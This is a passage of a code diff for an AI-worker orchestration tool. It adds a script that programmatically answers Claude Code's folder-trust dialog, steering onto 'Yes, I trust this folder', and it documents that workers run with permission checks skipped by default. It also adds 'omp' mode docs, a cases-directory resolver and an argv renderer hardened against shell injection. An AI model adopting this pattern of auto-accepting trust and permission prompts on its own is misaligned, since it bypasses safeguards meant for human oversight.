anyway, + # because the freshest marked row is the only one still true. + "${CURL[@]}" -G "$API/api/v1/sessions/$1/terminal" --data-urlencode 'full=1' \ + | jq -r '.data.terminalBuffer // empty' \ + | sed -e "s/$(printf '\033')\[[0-9;?]*[a-zA-Z]//g" -e "s/$(printf '\033')[()][AB0]//g" \ + | tr -d ' \t' | grep -i '❯[0-9.]*\(yes,itrustthisfolder\|no,exit\)' | tail -1 \ + | sed -e 's/.*[Yy]es,.*/confirm/' -e 's/.*[Nn]o,.*/move/' +} +_accept_trust() { # -> 0 once it has answered the dialog, 1 if it could not + local sid="$1" k i=1 + while [ "$i" -le 6 ]; do + k=$(_trust_key "$sid") + [ -n "$k" ] || return 1 # no dialog on screen, or a layout this cannot read + # A SEPARATE clientId for these keys. seq is monotonic per clientId, so + # spending prompt numbers here would make the next sendwait -- whose default + # seq is the epoch second -- look like a stale duplicate and vanish silently. + "${CURL[@]}" -X POST "$API/api/v1/sessions/$sid/input" -H 'Content-Type: application/json' \ + -d "$(jq -nc --arg k "$([ "$k" = confirm ] && printf '\r' || printf '\033[B')" \ + --arg c "$CID-trust-$sid" --argjson s "$i" \ + '{input:$k,useMux:true,clientId:$c,seq:$s}')" >/dev/null + [ "$k" = confirm ] && return 0 + sleep 1; i=$((i+1)) # re-read: the arrow is CONFIRMED before Enter goes out + done + return 1 +} # spawn_worker [mode] -> session id on stdout, diagnostics on stderr. # quick-start AND readiness in one call, with a strict contract: NON-EMPTY stdout means # a READY worker whose end-of-turn signal can be trusted -- a claude worker in a @@ -99,19 +136,16 @@ spawn_worker() { grep -qs '/api/hook-event' "$cp/.claude/settings.local.json" || { echo "case '$name' resolved to '$cp', which has no Codeman hooks (workspaceHooksEnabled off, remote, or an older server?): turn the setting on, or work §5.1+§5.5 by hand with markers" >&2 delete_session "$sid" >/dev/null; return 1; } - # Short composer wait FIRST, then the trust-dialog probe: a case still showing the - # dialog can never pass the composer wait, so probing early keeps a cold case from + # Short composer wait FIRST, then the trust dialog: a case still showing the + # dialog can never pass the composer wait, so acting early keeps a cold case from # paying the whole long wait before the fallback even runs (§5.2). A warm case - # matches in under a second and never reaches the probe. + # matches in under a second and never reaches it, and _accept_trust returns in a + # blink when there is no dialog, so this costs nothing in the ordinary slow case. r=$(_composer_up "$sid" 5000) if [ "$r" != true ]; then - if "${CURL[@]}" -G "$API/api/v1/sessions/$sid/wait-output" \ - --data-urlencode 'match=trust' --data-urlencode 'from=buffer' --data-urlencode 'timeout=2000' \ - | jq -e '.data.wait.matched' >/dev/null; then - # Codeman's own auto-accept gives up after 90 s / 3 tries; this is that bounded fallback. - "${CURL[@]}" -X POST "$API/api/v1/sessions/$sid/input" -H 'Content-Type: application/json' \ - -d "$(jq -nc --arg c "$CID-$sid" '{input:"\r",useMux:true,clientId:$c,seq:1}')" >/dev/null - fi + # Codeman answers this dialog itself and normally wins the race; this is the + # bounded fallback for when its 90 s window / 6-keystroke cap has run out. + _accept_trust "$sid" r=$(_composer_up "$sid" 45000) fi [ "$r" = true ] || { echo "worker $sid never drew a composer; deleted it. Retry by hand via the §5.2 ladder (its billed stage-4 probe included)" >&2 @@ -210,4 +244,4 @@ last_text() { # The stamp is the LAST line on purpose (a truncated write leaves it unset) and is kept # bare on purpose: the write condition above anchors on it with $, so an inline comment # here would fail that match and rewrite this file on every single bootstrap. -CODEMAN_PREAMBLE=1.20.0 +CODEMAN_PREAMBLE=1.21.0 diff --git a/skills/codeman/reference/endpoints.md b/skills/codeman/reference/endpoints.md index 50548efa..a2ae7945 100644 --- a/skills/codeman/reference/endpoints.md +++ b/skills/codeman/reference/endpoints.md @@ -237,7 +237,7 @@ minutes, never retry the credential. flushed slightly *after* the `stop` hook fires, so a read taken the instant the wait returns is too early (verified live: empty on the first call, full prose seconds later). It is also `""` before the worker's first completed turn, and permanently `""` for -`shell`, `opencode`, `gemini`, `antigravity`, `pi` and `grok`, which write no transcript at +`shell`, `opencode`, `gemini`, `antigravity`, `pi`, `grok` and `omp`, which write no transcript at all. `deepseek` is NOT one of those — it is read from `$DSH_HOME/sessions/**` and lags for the same reason claude does (the harness finalizes the assistant message just after it reports `idle`), so poll it the same way. @@ -339,20 +339,20 @@ ESC=$(printf '\033') `POST /api/v1/quick-start` body (all optional): `{"caseName":"worker-1","mode":"claude","sessionName":"w9-worker","effort":"high"}` -, `mode` ∈ `claude|shell|opencode|codex|gemini|antigravity|pi|grok|deepseek`; response is +, `mode` ∈ `claude|shell|opencode|codex|gemini|antigravity|pi|grok|deepseek|omp`; response is `.data.{sessionId, caseName, casePath}`. Creates the case directory (a real directory on the user's disk) if missing, do not retry it in a loop, and remember the name. ⚠️ A `mode` whose CLI is **not installed on the server** fails the spawn with `OPERATION_FAILED`; it never falls back to claude. Probe first whenever you did not pick the mode yourself: `GET /api/v1/claude/status`, `GET /api/v1/opencode/status`, -`GET /api/v1/codex/status`, `GET /api/v1/gemini/status`, `GET /api/v1/antigravity/status`, `GET /api/v1/grok/status`, `GET /api/v1/deepseek/status` -and `GET /api/v1/pi/status` each return `.data.{available, path}` (no session needed). -Pi's and grok's also carry `.data.version`, because `pi` is a short generic name and -`grok` is a name with npm squatters, so an unrelated binary on `$PATH` can shadow either: -the resolver rejects one whose `--version` is not version-shaped, so `available:false` -there can mean "a different `pi`/`grok` is in front" rather than "nothing is installed". -`shell` has no CLI to probe. +`GET /api/v1/codex/status`, `GET /api/v1/gemini/status`, `GET /api/v1/antigravity/status`, `GET /api/v1/grok/status`, `GET /api/v1/deepseek/status`, +`GET /api/v1/pi/status` and `GET /api/v1/omp/status` each return `.data.{available, path}` (no session needed). +Pi's, grok's and OMP's also carry `.data.version`, because `pi` is a short generic name, +`grok` is a name with npm squatters, and `omp` is a similarly short name, so an unrelated +binary on `$PATH` can shadow any of them: the resolver rejects one whose `--version` is +not version-shaped, so `available:false` there can mean "a different program of the same +name is in front" rather than "nothing is installed". `shell` has no CLI to probe. ⚠️ **Branch on `.success` before reading `.data.sessionId`.** On any failure the field is absent, `jq -r` prints the literal string `null`, and every later call then targets @@ -466,9 +466,9 @@ Quirks that will bite you: session answers with an empty timeline rather than a 404. - ⚠️ **`active-tools` proves presence, never absence.** It is fed by the BashToolParser, which reads Claude's rendered `● Bash(…)` lines, and `_processExpensiveParsers` - returns early for every external CLI mode (`session.ts:2261`), so it is permanently - `[]` on `opencode`/`codex`/`gemini`/`antigravity`/`pi`/`grok`/`deepseek`. ⚠️ **`shell` is NOT one of those** - (`isExternalCliMode`, `session.ts:174-183`, lists only those six), so the parser does + returns early for every external CLI mode (`session.ts:~2225`), so it is permanently + `[]` on `opencode`/`codex`/`gemini`/`antigravity`/`pi`/`grok`/`deepseek`/`omp`. ⚠️ **`shell` is NOT one of those** + (`isExternalCliMode`, `session.ts:176-187`, lists only those seven), so the parser does run on a shell worker, and `TEXT_COMMAND_PATTERN` (`bash-tool-parser.ts:89`) matches bare `tail|cat|head|less|grep|watch|multitail ` lines with no `● Bash(` wrapper: a shell worker running `cat build.log` really does populate this. In practice it stays @@ -800,7 +800,8 @@ for environment and setup problems. | wait routes 404 on a valid session id | read the `.error` text: a `Route ...` prefix means the server predates the wait endpoints (< 1.13.0; a dev build can serve them while reporting an older version, so probe, never version-compare), poll `terminal?tail=` and say so. `Session ... not found` means your id is wrong, not the server | | wait on `stop` never resolves | a mode with no hook signals, or hooks not reaching the server (Docker/remote), or a case created by Codeman < 1.13.0 against an `--https` install (its hook curls lacked `-k` and TLS-failed silently; a 1.13.0+ server rewrites them the next time a session starts in that case). Use markers or `idle,exit` | | wait on `stop` never resolves, on a **dsh** worker whose pane clearly finished | that profile does not implement the harness's supervisor contract, which Codeman cannot detect at request time (an unrecognized profile is treated as launchable on purpose). The wait is accepted and then times out. Drive that worker with markers, or switch to a profile that reports — `@deepseek-harness-tui/dsh-tui` does | -| new claude worker ignores its first prompt | it was showing the first-run trust dialog and Codeman's auto-accept did not fire (it is bounded by a 90 s window and an attempt cap); use the readiness recipe in SKILL.md, wait for `shift+tab` first, accept the dialog only as the bounded fallback | +| new claude worker ignores its first prompt | it was showing the first-run trust dialog and Codeman's auto-accept did not fire (it is bounded by a 90 s window and a keystroke cap); use the readiness recipe in SKILL.md, wait for `shift+tab` first, answer the dialog only as the bounded fallback | +| a brand-new claude worker's pane is DEAD (`status 1`) seconds after the spawn | something pressed Enter at the first-run trust dialog. Since claude-cli 2.1.252 its options are unnumbered, reversed, and the highlighted default is `No, exit`, so a blind `\r` — an up-front Enter, or a task prompt typed into the dialog — quits the CLI. Answer it by reading the `❯` marker off `terminal?full=1` and arrowing onto `Yes, I trust this folder` first: `_accept_trust` in the §0 preamble | | readiness burns its whole budget, then the worker answers fine anyway | you matched `bypass`, which is the statusline of ONE permission mode. Codeman spawns `--dangerously-skip-permissions` by default, but the server's `claudeMode` setting also has `auto` (`auto mode on`), `allowedTools` and `normal` (both `don't ask on`), and the effective per-session value is not exposed on `GET /api/v1/sessions/:id`. Match **`shift+tab`** instead: every mode's status bar ends `(shift+tab to cycle)` (measured per mode against claude-cli 2.1.226). Expect `blocked` signals mid-turn on the non-default modes | | ANSI escapes survive the strip pipeline | `sed -e 's/\x1b…'` on macOS: `\x1b` is GNU-only, BSD sed matches nothing and strips nothing. Use the `ESC=$(printf '\033')` form above | | `wait-output` times out although the pane shows the text | multi-word match against a TUI screen; the stream has no spaces there, match one token | diff --git a/skills/codeman/reference/messaging.md b/skills/codeman/reference/messaging.md index 414ef3d2..24101c88 100644 --- a/skills/codeman/reference/messaging.md +++ b/skills/codeman/reference/messaging.md @@ -56,7 +56,7 @@ own head: the worker enforcing the cap is the one who has to be told about it. | synchronize on end of turn | HTTP `wait until=stop` (fires for message-initiated turns too, verified live) | | liveness / death check | HTTP `wait?until=exit` | | interrupt a running turn (break-glass) | HTTP input, a bare `\x1b` with no `\r` | -| non-claude modes (`shell`/`opencode`/`codex`/`gemini`/`antigravity`/`pi`/`grok`/`deepseek`) | HTTP only (no other CLI has messaging) | +| non-claude modes (`shell`/`opencode`/`codex`/`gemini`/`antigravity`/`pi`/`grok`/`deepseek`/`omp`) | HTTP only (no other CLI has messaging) | | delete | HTTP, via SKILL.md's `delete_session` guard | ## Availability: probe, never assume @@ -347,7 +347,7 @@ Without a break-glass, a pair with a bad brief is a token bonfire with no off sw ### Mixed fleets: the pairing matrix -Non-claude workers (`shell`, `opencode`, `codex`, `gemini`, `antigravity`, `pi`, `grok`, `deepseek`) cannot be peers +Non-claude workers (`shell`, `opencode`, `codex`, `gemini`, `antigravity`, `pi`, `grok`, `deepseek`, `omp`) cannot be peers at all; no other CLI has this feature. Their tasks route over HTTP, and you never mention messaging in their briefs. The claude half of the fleet can use messaging among itself, subject to the namespace rule: **messaging works between two sessions that share one diff --git a/skills/codeman/reference/recipes.md b/skills/codeman/reference/recipes.md index d5e7f4df..c444163c 100644 --- a/skills/codeman/reference/recipes.md +++ b/skills/codeman/reference/recipes.md @@ -69,9 +69,14 @@ SEQ=1 # $CID is the fixed literal from the preamble; never rebuild # plus a two-marker screen match in session-trust-dialog.ts), not the output stream. # It still misses two ways, and both leave the dialog up until someone answers it: # it only scans in the first 90 s after the pane started (TRUST_DIALOG_WINDOW_MS), -# and it gives up after 3 Enter presses (TRUST_DIALOG_MAX_ATTEMPTS). So: composer -# marker first, dialog only as the bounded fallback (a blind Enter up front would -# land in an already-ready composer). +# and it gives up after 6 keystrokes (TRUST_DIALOG_MAX_ATTEMPTS). So: composer +# marker first, dialog only as the bounded fallback. +# ⚠️ The dialog is NOT answered with Enter. Since claude-cli 2.1.252 the options +# lost their numbers, swapped places, and the highlighted one is `No, exit`, so a +# blind \r quits the CLI and the pane is dead seconds after the spawn (measured). +# _accept_trust (§0 preamble) reads the ❯ marker off the rendered pane, arrows onto +# `Yes, I trust this folder`, re-reads to confirm the move landed, and only then +# presses Enter. # Stage 1 is SHORT on purpose: an already-trusted case matches in <1 s, while a # virgin case can never pass it (the dialog is up) and always pays it in full, # the long budget belongs to stage 3, after the dialog is answered. @@ -92,13 +97,8 @@ done R=$("${CURL[@]}" -G "$API/api/v1/sessions/$SID/wait-output" \ --data-urlencode 'match=shift+tab' --data-urlencode 'from=buffer' --data-urlencode 'timeout=5000') if ! jq -e '.data.wait.matched' <<<"$R" >/dev/null; then - T=$("${CURL[@]}" -G "$API/api/v1/sessions/$SID/wait-output" \ - --data-urlencode 'match=trust' --data-urlencode 'from=buffer' --data-urlencode 'timeout=2000') - if jq -e '.data.wait.matched' <<<"$T" >/dev/null; then - "${CURL[@]}" -X POST "$API/api/v1/sessions/$SID/input" -H 'Content-Type: application/json' \ - -d '{"input":"\r","useMux":true,"clientId":"'"$CID"'","seq":'$SEQ'}' >/dev/null - SEQ=$((SEQ+1)) - fi + _accept_trust "$SID" # reads the marker and steers; never a blind \r. Own clientId, + # so it spends none of $SEQ's numbers. R=$("${CURL[@]}" -G "$API/api/v1/sessions/$SID/wait-output" \ --data-urlencode 'match=shift+tab' --data-urlencode 'from=buffer' --data-urlencode 'timeout=45000') fi @@ -106,8 +106,8 @@ if ! jq -e '.data.wait.matched' <<<"$R" >/dev/null; then # stage 4, mode-agnostic and bounded: answering a trivial prompt IS readiness. # COSTS THE WORKER ONE BILLED TURN, so it only runs when the fast marker missed. # Split token (the typed line echoes into the stream) and unique per call. Must stay - # AFTER the dialog fallback: free text plus \r into a trust dialog still up answers - # it blind, the same footgun as an up-front Enter. + # AFTER the dialog fallback: the select widget swallows the text and the \r answers + # whatever is highlighted, which on a live dialog is `No, exit`. TOK="${RANDOM}_$$" "${CURL[@]}" -X POST "$API/api/v1/sessions/$SID/input" -H 'Content-Type: application/json' \ -d '{"input":"reply with the word READY immediately followed by _'"$TOK"' and nothing else\r","useMux":true,"clientId":"'"$CID"'","seq":'$SEQ'}' >/dev/null @@ -188,7 +188,7 @@ for _ in $(seq 1 10); do done printf '%s\n' "$TXT" # (.data is {text,timestamp}; text is also "" before the first completed turn and -# always "" for shell/opencode/gemini/antigravity/pi/grok, which have no transcript, use +# always "" for shell/opencode/gemini/antigravity/pi/grok/omp, which have no transcript, use # the terminal tail there, and here only to diagnose an unsubmitted prompt.) # 6. clean up: exact id, own list only, through the fail-closed preamble helper @@ -527,9 +527,10 @@ done circuit breaker, which exists to stop a worker that crashes on every start from being restarted in a loop; clearing it unasked re-arms that loop. - Then run **Flow 1's readiness stages 1-3** on each SID. A path claude has never been - run in shows the trust dialog, and typing your task into a dialog answers it blind and - loses the task. Stages 1-3 cost no turn; stage 4, if it fires, costs that worker one - billed turn. + run in shows the trust dialog, and typing your task into it does not just lose the + task: the select widget swallows the text and the trailing `\r` answers the + highlighted option, which since claude-cli 2.1.252 is `No, exit`. Stages 1-3 cost no + turn; stage 4, if it fires, costs that worker one billed turn. ### 4. Hand out the tasks: markers, not send-and-wait diff --git a/skills/codeman/reference/verbs.md b/skills/codeman/reference/verbs.md index f3219cd8..41b3b27c 100644 --- a/skills/codeman/reference/verbs.md +++ b/skills/codeman/reference/verbs.md @@ -171,10 +171,27 @@ itself, reliably enough that stage 1 usually just works: `_maybeAcceptTrustDialo reads the **rendered pane** via `capturePaneText()` rather than the arriving chunk (the per-chunk `includes()` version could never match, because tmux repaints the row with cursor-forward escapes in place of spaces, and it is documented in-source as the -historical bug). The remaining miss modes are structural: the auto-accept only runs -inside a 90 s window after interactive start and gives up after 3 attempts. So keep -the dialog handling as a bounded fallback, and never send a blind Enter up front (if -auto-accept already fired, it lands in the composer). +historical bug). + +⚠️ **The answer is no longer "press Enter".** Claude Code 2.1.252 dropped the option +numbers, reversed the two options, and highlights the one that quits: + +``` + ❯ No, exit + Yes, I trust this folder + Enter to confirm · Esc to cancel +``` + +so a blind `\r` answers *exit*: the pane is dead (`Pane is dead (status 1)`) about six +seconds after the spawn, measured on a fresh case. Read the marker off the rendered +pane (`GET .../terminal?full=1`), send `ESC [ B` while it sits on `No, exit`, re-read, +and press Enter only once the marker is on the trust option. `_accept_trust` in the +§0 preamble is exactly that, and `trustDialogNextKey()` is the server-side twin. + +The remaining miss modes are structural: the auto-accept only runs inside a 90 s window +after interactive start and gives up after 6 keystrokes. So keep the dialog handling as +a bounded fallback, and never send a blind Enter up front — landing in an already-ready +composer only wastes a turn, landing in this dialog ends the worker. Stage 1 is short on purpose: an already-trusted case matches `shift+tab` in under a second, while a case still showing the dialog cannot pass stage 1 at all and always @@ -232,14 +249,11 @@ SEQ=1 # $CID came from the §0 preamble; do NOT rebuild it from $$ R=$("${CURL[@]}" -G "$API/api/v1/sessions/$SID/wait-output" \ --data-urlencode 'match=shift+tab' --data-urlencode 'from=buffer' --data-urlencode 'timeout=5000') if ! jq -e '.data.wait.matched' <<<"$R" >/dev/null; then - # composer never appeared, so the trust dialog is probably still up; accept it once - T=$("${CURL[@]}" -G "$API/api/v1/sessions/$SID/wait-output" \ - --data-urlencode 'match=trust' --data-urlencode 'from=buffer' --data-urlencode 'timeout=2000') - if jq -e '.data.wait.matched' <<<"$T" >/dev/null; then - "${CURL[@]}" -X POST "$API/api/v1/sessions/$SID/input" -H 'Content-Type: application/json' \ - -d '{"input":"\r","useMux":true,"clientId":"'"$CID"'","seq":'$SEQ'}' >/dev/null - SEQ=$((SEQ+1)) - fi + # Composer never appeared, so the trust dialog is probably still up. NEVER a blind + # Enter here: the highlighted option is "No, exit". _accept_trust (§0 preamble) reads + # the marker off the pane, arrows onto the trust option, re-reads, then confirms. It + # carries its OWN clientId, so it spends none of $SEQ's numbers. + _accept_trust "$SID" R=$("${CURL[@]}" -G "$API/api/v1/sessions/$SID/wait-output" \ --data-urlencode 'match=shift+tab' --data-urlencode 'from=buffer' --data-urlencode 'timeout=45000') fi @@ -248,8 +262,10 @@ if ! jq -e '.data.wait.matched' <<<"$R" >/dev/null; then # of a broken worker, and answering is proof that it works. Split the token (your # keystrokes echo into the stream) and keep it unique per call. This costs the worker # one billed turn, so it runs only after the fast path missed. It must stay AFTER - # stage 2, which is the only thing that clears the trust dialog: free text plus \r - # into a dialog still up answers it blind, the same footgun as the up-front Enter. + # stage 2, which is the only thing that clears the trust dialog: the typed text is + # swallowed by the select widget and the \r then answers whatever is highlighted, + # which since 2.1.252 is "No, exit" -- the same footgun as the up-front Enter, except + # that it kills the worker rather than wasting a turn. TOK="${RANDOM}_$$" "${CURL[@]}" -X POST "$API/api/v1/sessions/$SID/input" -H 'Content-Type: application/json' \ -d '{"input":"reply with the word READY immediately followed by _'"$TOK"' and nothing else\r","useMux":true,"clientId":"'"$CID"'","seq":'$SEQ'}' >/dev/null @@ -357,7 +373,7 @@ recovered by submitting it with `{"input":"\r"}`. only when the workspace actually has them, see [§5.1](#51-where-to-spawn)) **and for `deepseek`** — the one external CLI that reports its own lifecycle, so its `stop` is a real end-of-turn signal rather than a guess. On -`shell`/`opencode`/`codex`/`gemini`/`antigravity`/`pi`/`grok`, requesting them explicitly is a +`shell`/`opencode`/`codex`/`gemini`/`antigravity`/`pi`/`grok`/`omp`, requesting them explicitly is a 400, and lifecycle transitions there are coarse (a short shell command may emit **no** `idle` transition at all, verified live), so synchronize those with markers. @@ -399,7 +415,7 @@ from the transcript file, which is flushed slightly *after* the `stop` hook fire single read taken the instant send-and-wait returns comes back `""` even though the turn finished (verified live: empty on the first call, full text seconds later). `text` is also `""` before the worker's first completed turn, and always `""` for modes with -no transcript (`shell`, `opencode`, `gemini`, `antigravity`, `pi`, `grok`; the first four +no transcript (`shell`, `opencode`, `gemini`, `antigravity`, `pi`, `grok`, `omp`; the first four verified live, pi from the same source path), which is why the loop above is bounded rather than open-ended. A dsh worker lags too, for its own reason: the harness finalizes the assistant message just after it reports `idle`. Fall back to the terminal buffer @@ -485,7 +501,7 @@ turn), and both better than diffing terminal samples: ``` ⚠️ `active-tools` is parsed out of Claude's own output format, so it is **empty for -`opencode`/`codex`/`gemini`/`antigravity`/`pi`/`grok`/`deepseek`** (those parsers are skipped wholesale) and +`opencode`/`codex`/`gemini`/`antigravity`/`pi`/`grok`/`deepseek`/`omp`** (those parsers are skipped wholesale) and in practice empty for `shell`. Source-verified, not measured live. Only if neither helps: sample `terminal?tail=` twice a few seconds apart. A changing diff --git a/src/cli.ts b/src/cli.ts index 7408f131..874d0d22 100644 --- a/src/cli.ts +++ b/src/cli.ts @@ -15,6 +15,7 @@ import { existsSync, readFileSync } from 'node:fs'; import { isAbsolute, join } from 'node:path'; import { homedir } from 'node:os'; import { dataPath } from './config/instance.js'; +import { casePath } from './config/cases-dir.js'; import { installAgentSkillInto, removeAgentSkillFrom, type AgentSkillApplyResult } from './hooks-config.js'; import { getSessionManager } from './session-manager.js'; import { getTaskQueue } from './task-queue.js'; @@ -146,7 +147,9 @@ export function resolveCliCasePath(name: string): string { } catch { // no registry yet, or unreadable/invalid JSON: fall through to the cases dir } - return join(homedir(), 'codeman-cases', name); + // Same resolver the server uses, so CODEMAN_CASES_PATH (Docker Compose) moves + // the CLI's idea of a case with it instead of leaving it on the home default. + return casePath(name); } /** @@ -1254,7 +1257,7 @@ program .action(async (options) => { const { createRealHost, checkAll } = await import('./utils/dependency-checker.js'); const { renderTable, renderJson, computeExitCode } = await import('./utils/dependency-report.js'); - const { DEPENDENCY_REGISTRY, TOOL_CATEGORIES } = await import('./config/dependency-registry.js'); + const { dependencyRegistry, TOOL_CATEGORIES } = await import('./config/dependency-registry.js'); if (options.category && !(TOOL_CATEGORIES as readonly string[]).includes(options.category)) { console.error(`Unknown category "${options.category}". Valid categories: ${TOOL_CATEGORIES.join(', ')}`); @@ -1262,9 +1265,8 @@ program } const host = createRealHost(); - const registry = options.category - ? DEPENDENCY_REGISTRY.filter((t) => t.category === options.category) - : DEPENDENCY_REGISTRY; + const allTools = dependencyRegistry(); + const registry = options.category ? allTools.filter((t) => t.category === options.category) : allTools; const results = checkAll(registry, host); if (options.json) { diff --git a/src/config/cases-dir.ts b/src/config/cases-dir.ts new file mode 100644 index 00000000..9cb8abaa --- /dev/null +++ b/src/config/cases-dir.ts @@ -0,0 +1,37 @@ +/** + * @fileoverview Where case (project) folders live. + * + * Deliberately NOT instance-scoped, unlike `dataPath()`: `~/codeman-cases` is + * shared by every Codeman on the machine, the same way `~/codeman-users/` + * user spaces are, so a beta instance sees the same projects as prod. + * + * `CODEMAN_CASES_PATH` overrides the location. Docker Compose deployments set + * it to a host-absolute bind mount so a Docker case's workspace resolves to the + * SAME absolute path inside Codeman and on the host daemon that mounts it. + * + * ⚠️ **One resolver, every caller.** This started life as three hardcoded + * `join(homedir(), 'codeman-cases')` copies. When only the web server's copy + * learned the override, `codeman skill install --case ` still looked in + * the home default and reported "Case not found" on exactly the deployment the + * override exists for. A new cases-dir consumer imports this; it does not + * rebuild the path. + * + * (`state-store.ts` keeps its own literal on purpose: that one migrates the + * historical `~/claudeman-cases` directory to `~/codeman-cases` by name, and is + * about the old default location rather than the active one.) + * + * @module config/cases-dir + */ + +import { homedir } from 'node:os'; +import { join } from 'node:path'; + +/** Absolute path to the shared cases directory. */ +export function getCasesDir(): string { + return process.env.CODEMAN_CASES_PATH || join(homedir(), 'codeman-cases'); +} + +/** Absolute path to one case folder inside it. */ +export function casePath(name: string): string { + return join(getCasesDir(), name); +} diff --git a/src/config/cli-registry/argv.ts b/src/config/cli-registry/argv.ts new file mode 100644 index 00000000..ddbc88b9 --- /dev/null +++ b/src/config/cli-registry/argv.ts @@ -0,0 +1,190 @@ +/** + * @fileoverview The argv rendering engine — turns a `CliLaunch` spec plus a set of resolved + * parameter values into the shell command string that goes into `bash -c "..."`. + * + * SECURITY MODEL (read before touching this file): + * + * 1. Config contains no shell text. There is no `command: "..."` field anywhere in the + * schema. An entry declares a sequence of typed tokens (`ArgSpec`); this module is the + * ONLY place that turns them into a string, and it owns every separator itself: a single + * space between tokens, and ` || ` between fallback variants. Neither can originate from + * config, because config has no field that could hold either. + * 2. Every literal (`lit`, `flag`, `value`) is validated against `SAFE_BARE_TOKEN` — no + * space, quote, backtick, `$`, `;`, `&`, `|`, `<`, `>`, parens, braces, newline or + * backslash — at LOAD time (see schema.ts), so a bad literal fails registry validation + * rather than reaching this renderer. + * 3. Every `valueFrom` resolves through a declared `ParamSpec`, whose `token` variant names + * a PATTERN rather than accepting one — see patterns.ts. A value that fails its pattern + * causes the WHOLE ArgSpec to be dropped, exactly like the hand-written builders this + * replaces (an invalid `--model` value silently omits `--model`, it does not substitute + * something else). + * 4. Escaping and validation are independent. `renderToken()` always re-checks the resolved + * value against `SAFE_BARE_TOKEN` before emitting it unquoted; anything else is + * single-quote-escaped. So even a value that somehow bypassed pattern validation is still + * quoted, never concatenated raw. + * + * @module config/cli-registry/argv + */ + +import type { ArgSpec, CliEntry, CliLaunch, Cond, EngineValue, ParamSpec, QuoteStyle } from './types.js'; +import { matchesPattern } from './patterns.js'; +import { SAFE_BARE_TOKEN } from './patterns.js'; + +/** Resolved parameter values, keyed by the name declared in `CliLaunch.params`. */ +export type ParamValues = Record; + +/** Values the caller supplies for the reserved engine params. */ +export type EngineValues = Partial>; + +/** + * POSIX single-quote escaping: end-quote, escaped-literal-quote, restart-quote. Identical in + * shape to the three copies already in the codebase (tmux-manager.ts, remote-hosts.ts, + * docker-hosts.ts) — kept local rather than importing one of them so this module has no + * dependency on the files it is replacing. + */ +function singleQuoteEscape(value: string): string { + return `'${value.replace(/'/g, `'\\''`)}'`; +} + +function doubleQuoteEscape(value: string): string { + // Escape the characters that are special inside a double-quoted bash string. SAFE_BARE_TOKEN + // already excludes all of them, so in practice this never fires; kept as defense in depth. + return `"${value.replace(/([$`"\\])/g, '\\$1')}"`; +} + +/** + * Render a single resolved value per its requested quote style. `auto` (the default) emits + * bare only when the value is provably safe; every other case single-quotes. + */ +function renderToken(value: string, style: QuoteStyle | undefined): string { + const safe = SAFE_BARE_TOKEN.test(value); + switch (style) { + case 'double': + return doubleQuoteEscape(value); + case 'single': + return singleQuoteEscape(value); + case 'bare': + return safe ? value : singleQuoteEscape(value); + case 'auto': + default: + return safe ? value : singleQuoteEscape(value); + } +} + +/** Resolve one parameter to a plain string, or undefined if it is unset / invalid. */ +function resolveParam( + name: string, + spec: ParamSpec | undefined, + params: ParamValues, + engineValues: EngineValues +): string | undefined { + if (!spec) return undefined; + if (spec.type === 'engine') return engineValues[spec.source]; + + const raw = params[name]; + if (raw === undefined) return spec.type === 'enum' ? spec.default : undefined; + + if (spec.type === 'bool') return typeof raw === 'boolean' ? String(raw) : undefined; + if (spec.type === 'enum') { + const s = String(raw); + return spec.values.includes(s) ? s : spec.default; + } + // token + const s = String(raw); + return matchesPattern(spec.pattern, s) ? s : undefined; +} + +/** Is the resolved value "set" for the purposes of a `state` condition? */ +function isSet(name: string, params: ParamValues, resolved: (n: string) => string | undefined): boolean { + if (name in params) { + const raw = params[name]; + if (typeof raw === 'boolean') return true; // a bool param is always "set" once declared + } + return resolved(name) !== undefined; +} + +function evalCond( + cond: Cond | undefined, + params: ParamValues, + resolved: (n: string) => string | undefined, + gatesPassed: ReadonlySet +): boolean { + if (!cond) return true; + if ('allOf' in cond) return cond.allOf.every((c) => evalCond(c, params, resolved, gatesPassed)); + if ('anyOf' in cond) return cond.anyOf.some((c) => evalCond(c, params, resolved, gatesPassed)); + if ('not' in cond) return !evalCond(cond.not, params, resolved, gatesPassed); + if ('capabilityGate' in cond) return gatesPassed.has(cond.capabilityGate); + if ('state' in cond) { + const set = isSet(cond.param, params, resolved); + return cond.state === 'set' ? set : !set; + } + // { param, is } + const raw = params[cond.param]; + if (typeof cond.is === 'boolean') return raw === cond.is; + return resolved(cond.param) === cond.is; +} + +function renderArg( + spec: ArgSpec, + params: ParamValues, + resolved: (n: string) => string | undefined, + gatesPassed: ReadonlySet +): string | null { + if (!evalCond(spec.when, params, resolved, gatesPassed)) return null; + + if ('lit' in spec) return spec.lit; + if ('flag' in spec && !('value' in spec) && !('valueFrom' in spec)) return spec.flag; + if ('flag' in spec && 'value' in spec) return `${spec.flag} ${renderToken(spec.value, spec.quote)}`; + if ('flag' in spec && 'valueFrom' in spec) { + const v = resolved(spec.valueFrom); + return v === undefined ? null : `${spec.flag} ${renderToken(v, spec.quote)}`; + } + // bare positional + const v = resolved((spec as { valueFrom: string }).valueFrom); + return v === undefined ? null : renderToken(v, (spec as { quote?: QuoteStyle }).quote); +} + +/** + * Render one CLI's launch command. Returns the full `bash -c` payload — never a shell + * fragment with embedded newlines or unescaped separators, by construction (see file header). + * + * `gatesPassed` — the set of `capabilities.gates` keys whose version requirement is + * currently satisfied. Callers compute this once per spawn (it depends on a version probe), + * never inside the renderer, keeping this function pure and easy to test byte-for-byte. + */ +export function renderLaunch( + launch: CliLaunch, + params: ParamValues, + engineValues: EngineValues, + gatesPassed: ReadonlySet = new Set() +): string { + const cache = new Map(); + const resolved = (name: string): string | undefined => { + if (cache.has(name)) return cache.get(name); + const v = resolveParam(name, launch.params[name], params, engineValues); + cache.set(name, v); + return v; + }; + + const passing = launch.variants.filter((variant) => evalCond(variant.when, params, resolved, gatesPassed)); + const chosen = launch.chain === 'fallback' ? passing : passing.slice(0, 1); + + const rendered = chosen.map((variant) => + variant.args + .map((arg) => renderArg(arg, params, resolved, gatesPassed)) + .filter((tok): tok is string => tok !== null) + .join(' ') + ); + + return rendered.join(' || '); +} + +/** Convenience: render an entry's launch command straight from a `CliEntry`. */ +export function renderCliCommand( + entry: CliEntry, + params: ParamValues, + engineValues: EngineValues, + gatesPassed?: ReadonlySet +): string { + return renderLaunch(entry.launch, params, engineValues, gatesPassed); +} diff --git a/src/config/cli-registry/index.ts b/src/config/cli-registry/index.ts new file mode 100644 index 00000000..d1698967 --- /dev/null +++ b/src/config/cli-registry/index.ts @@ -0,0 +1,61 @@ +/** + * @fileoverview Barrel for the 